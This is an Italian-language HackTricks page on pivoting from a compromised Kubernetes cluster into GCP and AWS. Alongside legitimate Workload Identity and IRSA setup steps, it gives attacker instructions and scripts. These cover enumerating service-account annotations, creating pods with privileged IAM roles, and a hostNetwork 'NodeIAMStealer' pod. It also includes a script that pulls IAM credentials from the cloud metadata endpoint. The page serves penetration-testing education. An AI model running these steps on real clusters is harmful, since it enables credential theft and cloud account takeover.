Kubernetes Pivoting to Clouds

Impara e pratica l'hacking su AWS: HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica l'hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks

• Controlla i piani di abbonamento!

• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.

• Condividi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.

GCP

Se stai eseguendo un cluster k8s all'interno di GCP, probabilmente vorrai che alcune applicazioni in esecuzione all'interno del cluster abbiano accesso a GCP. Ci sono 2 modi comuni per farlo:

Montare le chiavi GCP-SA come segreto

Un modo comune per dare accesso a un'applicazione Kubernetes a GCP è:

• Creare un account di servizio GCP

• Associare ad esso le autorizzazioni desiderate

• Scaricare una chiave json del SA creato

• Montarla come segreto all'interno del pod

• Impostare la variabile d'ambiente GOOGLE_APPLICATION_CREDENTIALS che punta al percorso in cui si trova il json.

Pertanto, come attaccante, se comprometti un contenitore all'interno di un pod, dovresti controllare quella variabile env e i file json con le credenziali GCP.

Collegare il json GSA al segreto KSA

Un modo per dare accesso a un GSA a un cluster GKE è associarli in questo modo:

• Creare un account di servizio Kubernetes nello stesso namespace del tuo cluster GKE usando il seguente comando:

Copy codekubectl create serviceaccount <service-account-name>

• Crea un Kubernetes Secret che contenga le credenziali del service account di GCP a cui desideri concedere l'accesso al cluster GKE. Puoi farlo utilizzando lo strumento da riga di comando gcloud, come mostrato nell'esempio seguente:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json

• Collega il Kubernetes Secret all'account del servizio Kubernetes usando il seguente comando:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

Nel secondo passo sono stati impostati le credenziali del GSA come segreto del KSA. Quindi, se riesci a leggere quel segreto da dentro il cluster GKE, puoi scalare a quell'account di servizio GCP.

Identità del Carico di Lavoro GKE

Con l'Identità del Carico di Lavoro, possiamo configurare un account di servizio Kubernetes per agire come un account di servizio Google. I pod in esecuzione con l'account di servizio Kubernetes si autenticano automaticamente come l'account di servizio Google quando accedono alle API di Google Cloud.

La prima serie di passaggi per abilitare questo comportamento è abilitare l'Identità del Carico di Lavoro in GCP (passaggi) e creare l'account di servizio GCP che si desidera che k8s impersoni.

• Abilita l'Identità del Carico di Lavoro su un nuovo cluster

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog

• Creare/Aggiornare un nuovo nodepool (I cluster Autopilot non ne hanno bisogno)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1

• Crea il Account del servizio GCP da impersonare da K8s con le autorizzazioni GCP:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"

• Connettersi al cluster e creare il account del servizio da utilizzare

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing

• Collegare il GSA con il KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=[e-mail]

• Esegui un pod con il KSA e controlla l'accesso al GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Controlla il seguente comando per autenticarti in caso di necessità:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Come attaccante all'interno di K8s dovresti cercare gli SA con l'annotazione **iam.gke.io/gcp-service-account poiché ciò indica che l'**SA può accedere a qualcosa in GCP. Un'altra opzione sarebbe cercare di abusare ogni KSA nel cluster e verificare se ha accesso. Da GCP è sempre interessante enumerare i binding e sapere a quali accessi stai dando agli SA all'interno di Kubernetes.

Questo è uno script per iterare facilmente su tutte le definizioni dei pod cercando quell'annotazione:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

Un modo (obsoleto) per assegnare ruoli IAM ai Pods è utilizzare un Kiam o un Kube2IAM server. Fondamentalmente è necessario eseguire un daemonset nel cluster con un tipo di ruolo IAM privilegiato. Questo daemonset sarà quello che fornirà l'accesso ai ruoli IAM ai pods che ne hanno bisogno.

Prima di tutto è necessario configurare quali ruoli possono essere accessibili all'interno dello spazio dei nomi, e si fa ciò con un'annotazione all'interno dell'oggetto dello spazio dei nomi:

Kiam

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"

Kube2iam

apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Una volta che lo spazio dei nomi è configurato con i ruoli IAM che i Pods possono avere, puoi indicare il ruolo desiderato su ciascuna definizione del pod con qualcosa del genere:

Kiam & Kube2iam

kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Come attaccante, se trovi queste annotazioni nei pod o nei namespace o un server kiam/kube2iam in esecuzione (probabilmente in kube-system) puoi impersonare ogni ruolo che è già usato dai pod e altro (se hai accesso all'account AWS enumera i ruoli).

Creare Pod con Ruolo IAM

Il ruolo IAM da indicare deve essere nello stesso account AWS del ruolo kiam/kube2iam e quel ruolo deve essere in grado di accedervi.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

Ruolo IAM per Account Servizio K8s tramite OIDC

Questo è il modo consigliato da AWS.

1. Prima di tutto è necessario creare un provider OIDC per il cluster.

2. Successivamente creare un ruolo IAM con le autorizzazioni di cui avrà bisogno l'AS.

3. Creare una relazione di trust tra il ruolo IAM e l'AS nome (o i namespace che concedono l'accesso al ruolo a tutti gli AS del namespace). La relazione di trust controllerà principalmente il nome del provider OIDC, il nome del namespace e il nome dell'AS.

4. Infine, creare un AS con un'annotazione che indica l'ARN del ruolo, e i pod in esecuzione con tale AS avranno accesso al token del ruolo. Il token è scritto all'interno di un file e il percorso è specificato in AWS_WEB_IDENTITY_TOKEN_FILE (predefinito: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Per ottenere aws usando il token da /var/run/secrets/eks.amazonaws.com/serviceaccount/token esegui:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Come attaccante, se riesci a enumerare un cluster K8s, controlla gli account di servizio con quell'annotazione per scalare verso AWS. Per farlo, basta eseguire/creare un pod utilizzando uno degli account di servizio privilegiati IAM e rubare il token.

Inoltre, se ti trovi all'interno di un pod, controlla le variabili di ambiente come AWS_ROLE_ARN e AWS_WEB_IDENTITY_TOKEN.

A volte la Policy di Trust di un ruolo potrebbe essere configurata male e anziché concedere l'accesso AssumeRole all'account di servizio previsto, lo concede a tutti gli account di servizio. Pertanto, se sei in grado di scrivere un'annotazione su un account di servizio controllato, puoi accedere al ruolo.

Controlla la pagina seguente per ulteriori informazioni:

AWS - Federation Abuse

Trova Pods e SAs con Ruoli IAM nel Cluster

Questo è uno script per scorrere facilmente tutti i pod e le definizioni di sa cercando quell'annotazione:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Ruolo IAM del Nodo

La sezione precedente trattava di come rubare i Ruoli IAM con i pod, ma nota che un Nodo del cluster K8s sarà un'istanza all'interno del cloud. Ciò significa che è molto probabile che il Nodo abbia un nuovo ruolo IAM che puoi rubare (nota che di solito tutti i nodi di un cluster K8s avranno lo stesso ruolo IAM, quindi potrebbe non valere la pena controllare ogni nodo).

Tuttavia, c'è un requisito importante per accedere al punto finale dei metadati dal nodo, devi essere nel nodo (sessione ssh?) o almeno avere la stessa rete:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Rubare il Token del Ruolo IAM

Precedentemente abbiamo discusso come attaccare Ruoli IAM ai Pod o addirittura come scappare al Nodo per rubare il Ruolo IAM che l'istanza ha attaccato ad esso.

Puoi utilizzare lo script seguente per rubare le tue nuove credenziali del ruolo IAM su cui hai lavorato duramente:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Riferimenti

• https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity

• https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c

• https://blogs.halodoc.io/iam-roles-for-service-accounts-2/

Impara e pratica l'Hacking su AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks

• Controlla i piani di abbonamento!

• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.

• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di Github.